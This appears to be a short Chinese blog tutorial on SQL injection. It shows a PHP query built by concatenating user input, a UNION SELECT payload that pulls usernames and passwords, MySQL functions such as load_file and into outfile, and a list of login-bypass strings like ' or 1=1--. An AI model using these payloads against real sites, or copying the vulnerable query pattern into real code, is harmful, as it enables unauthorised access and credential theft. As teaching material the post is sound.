SQL 注入

发布于 2024-03-23  132 次阅读


简介

Web应用开发过程中,为了内容的快速更新,很多开发者使用数据库进行数据存储。而由于开发者在程序编写过程中,对传入用户数据的过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库执行,从而引发实际执行的语句与预期功能不一致的情况。这种攻击被称为
SQL注入攻击
SQL注入大致意思就是通过可控输入点达到非预期执行数据库语句,这里的非预期指的是,拼接相应的语句可以拿到数据库里面的其他数据

比如下面的语句:

$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];

对于他的预期操作,一般一个id是用来索引的,传入的值应该是:

$_GET["id"] = 1;
$_GET["id"] = 2;

所以预期执行的语句应该是:

$sql = "SELECT username,password FROM users WHERE id =  1";
$sql = "SELECT username,password FROM users WHERE id =  2";
......

在没有过滤的情况下,我们能够在后面拼接我们自己的语句

比如,我们传入的值:

$_GET["id"] ="1 union select username,password from user"

那么最后执行的语句就是:

$sql = "SELECT username,password FROM users WHERE id = 1 union select username,password from user;"

这样就造成了非预期语句的执行,我们在获得 users 表中的预期数据的同时也获得了 users 表中的非预期数据。

常用参数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex() 和 unhex():用于 hex 编码解码
  • ASCII():返回字符的 ASCII 码值
  • CHAR():把整数转换为对应的字符
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
  • select xxoo into outfile '路径':权限较高时可直接写文件

后台万能密码 

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

後悔しない
最后更新于 2024-06-11